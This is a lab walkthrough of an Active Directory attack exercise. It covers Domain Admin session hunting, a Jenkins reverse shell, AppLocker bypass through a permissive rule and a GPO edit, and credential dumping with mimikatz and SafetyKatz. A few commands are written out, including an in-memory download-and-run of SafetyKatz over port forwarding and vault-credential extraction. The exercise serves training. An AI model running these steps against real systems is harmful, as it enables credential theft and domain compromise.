7 - LO 7️
Learning Object 7
Tasks
1 - Identify a machine in the target domain where a Domain Admin session is available
2 - Compromise the machine and escalate privileges to Domain Admin by abusing reverse shell on dcorp-ci
3 - Escalate privilege to DA by abusing derivative local admin through dcorp-adminsrv. On dcorp-adminsrv, tackle application allowlisting using:
Gaps in Applocker rules.
Disable Applocker by modifying GPO applicable to dcorp-adminsrv.
Flag 10 [dcorp-mgmt] - Process using svcadmin as service account 🚩
Flag 11 [dcorp-mgmt] - NTLM hash of svcadmin account 🚩
Flag 12 [dcorp-adminsrv] - We tried to extract clear-text credentials for scheduled tasks from? Flag value is like lsass, registry, credential vault etc 🚩
Flag 13 [dcorp-adminsrv] - NTLM hash of srvadmin extracted from dcorp-adminsrv 🚩
Flag 14 [dcorp-adminsrv] - NTLM hash of websvc extracted from dcorp-adminsrv 🚩
Flag 15 [dcorp-adminsrv] - NTLM hash of appadmin extracted from dcorp-adminsrv 🚩
Solutions
1 - Identify a machine in the target domain where a Domain Admin session is available.
Start InviShell and PowerView
Verify Domain Admin session available using: Invoke-SessionHunter
2 - Compromise the machine and escalate privileges to Domain Admin by abusing reverse shell on dcorp-ci
As we see into Learning Object 5 we can obtain a reverse shell on dcorp-ci using through a vulnerability of Jenkins.
After repeating the same steps, we got a reverse shell on dcorp-ci as ciadmin by abusing Jenkins, transfer program present into Tools (PowerView, Loader, Invoke-PowerShellTcp, SafetyKatz and sbloggingbypass.txt):
Starting to download the following file/programs, and execute Find-DomainUserLocation
There is a domain admin session on dcorp-mgmt server, we can abuse this using winrs:
Now, the idea is to extract credentials from it, we can do it using SafetyKatz.exe, to do that, we need to copy Loader.exe on dcorp-mgmt.
Download Loader.exe on dcorp-ci
Copy it from there to dcorp-mgmt.
Run the following command on the reverse shell:
Copy the Loader.exe to dcorp-mgmt:
Using winrs, add the following port forwarding on dcorp-mgmt to avoid detection on dcorp-mgmt:
We're using the $null variable to address output redirection issues.
To run SafetyKatz on dcorp-mgmt, we will download and execute it in-memory using the Loader. Run the following command on the reverse shell:
We got credentials of svcadmin, a domain administrator. Remember that svcadmin is used as a service account (see "Session" in the above output), so you can even get credentials in clear-text from lsasecrets.
Now, we can use OverPass-the-Hash to replay svcadmin credentials
Run the following command from a new elevated shell on the student VM to use Rubeus.
3 - Escalate privilege to DA by abusing derivative local admin through dcorp-adminsrv. On dcorp-adminsrv, tackle application allowlisting using:
We need to escalate to domain admin using derivative local admin. Find out the machines on which we have local admin privileges.
Our result is: dcorp-adminsrv ant there's an output error message.
3.1 - Gaps in Applocker rules.
Let's check if Applocker is configured on dcorp-adminsrv by querying registry keys. Note that we are assuming that reg.exe is allowed to execute:
The Applocker is configured and after going through the policies, we can understand that Microsoft Signed binaries and scripts are allowed for all the users but nothing else.
However, this particular rule is overly permissive!
A default rule is enabled that allows everyone to run scripts from the C:\ProgramFiles folder.
We can also confirm this using PowerShell commands on dcrop-adminsrv in a PowerShell session as student867:
'Everyone' can run scripts from the Program Files directory. That means, we can drop scripts in the Program Files directory there and execute them.
We cannot run scripts using dot sourcing (. .\Invoke-Mimi.ps1), so we must modify Invoke-Mimi.ps1 to include the function call in the script itself and transfer the modified script (Invoke-MimiEx.ps1) to the target server.
Create Invoke-MimiEX-keys-std867.ps1:
Create a copy of Invoke-Mimi.ps1 and rename it to Invoke-MimiEx-keys-stdx.ps1 (where x is your student ID).
Open Invoke-MimiEX-keys-std867.ps1 in PowerShell ISE (Right click on it and click Edit).
Add the below encoded value for "sekurlsa::ekeys" to the end of the file.
On student machine run the following command from a PowerShell session. Note that it will take several minutes for the copy process to complete.
Now, run the modified mimikatz script. Note that there is no dot sourcing here. It may take a couple of minutes for the script execution to complete:
Here we find the credentials of the dcorp-adminsrv$, appadmin and websvc users.
Create Invoke-MimiEX-vault-std687.ps1
In addition, there are other places to look for credentials. Let's modify Invoke-MimiEx and look for credentials from the Windows Credential Vault. On the student VM:
Create a copy of Invoke-Mimi.ps1 and rename it to Invoke-MimiEx-vault-std687.ps1.
Open Invoke-MimiEX-vault-stdx.ps1 in PowerShell ISE (Right click on it and click Edit).
Replace "Invoke-Mimi -Command '"sekurlsa::ekeys"' " that we added earlier with "
Invoke-Mimi -Command '"token::elevate" "vault::cred /patch"'" (without quotes).
Copy Invoke-MimiEx-vault-stdx.ps1 to dcorp-adminsrv and run it. (It needs some minutes for copy process)
We got credentials for the srvadmin user in clear-text. Start a cmd process using runas (because we've cleartext credentials):
Check if srvadmin has admin privileges on any other machine:
dcorp-adminsrv
dcorp-mgmt
We have local admin access on the dcorp-mgmt server as srvadmin and we already know a session of svcadmin is present on that machine.
Let's use SafetyKatz to extract credentials from the machine, first to all copy the Loader.exe to dcorp-mgmt:
add the portforwarding and extract credentials:
3.2 - Disable Applocker by modifying GPO applicable to dcorp-adminsrv.
The idea is to recall that we enumerated that studentx has Full Control/Generic All on the Applocked Group Policy and make changes to the Group Policy and disable Applocker on dcorp-adminsrv.
We need the Group Policy Management Console for this. As the student VM is a Server 2022 machine, we can install it using the following steps: Open Server Manager -> Add Roles and Features -> Next -> Features -> Check Group Policy Management -> Next -> Install
After the installation is completed, start the gpmc. We need to start a process as student867 using runas, otherwise gpmc doesn't get the user context. Run the below command from an elevated shell:
In the new window, Expand Policies -> Windows Settings -> Security Settings -> Application Control Policies -> Applocker and Edit it
Delete the exactuable rule
Now, we can either wait for the Group Policy refresh or force an update on the dcorp-adminsrv machine. Let's go for the later using the following commands as studentx:
Now, let's copy Loader on the machine, add portfowarding:
and execute SafetyKatz
And now we're able to disable Applocker.
Flag 10 [dcorp-mgmt] - Process using svcadmin as service account 🚩
Remembering that we already know credentials for svcadmin user using Safetykatz: winrs -r:dcorp-mgmt C:\Users\Public\Loader.exe -path http://127.0.0.1:8080/SafetyKatz.exe "sekurlsa::Evasive-keys" "exit"
we can start a session inserting credentials below:
and discover the process associated to svcadmin user:
Flag 11 [dcorp-mgmt] - NTLM hash of svcadmin account 🚩
As the last point, based on the SafetyKatz output we can see the svcadmin's ntlm hash (rc4_hmac_nt)
Flag 12 [dcorp-adminsrv] - We tried to extract clear-text credentials for scheduled tasks from? Flag value is like lsass, registry, credential vault etc 🚩
Remembering that we already know credentials for svcadmin user using Safetykatz, we can start a session as adminsrv
and trying to execute: vault::cred and vault::list , we discover that the answer is regards XXXXXXXXXXX
Flag 13 [dcorp-adminsrv] - NTLM hash of srvadmin extracted from dcorp-adminsrv 🚩
We already know credentials exacted using Safetykatz: C:\Users\Public\Loader.exe -path http://127.0.0.1:8080/SafetyKatz.exe -args "sekurlsa::evasive-keys" "exit"
Flag 14 [dcorp-adminsrv] - NTLM hash of websvc extracted from dcorp-adminsrv 🚩
Here below the websvc's ntlm hash:
Flag 15 [dcorp-adminsrv] - NTLM hash of appadmin extracted from dcorp-adminsrv 🚩
Here below the appadmin's ntlm hash:
Last updated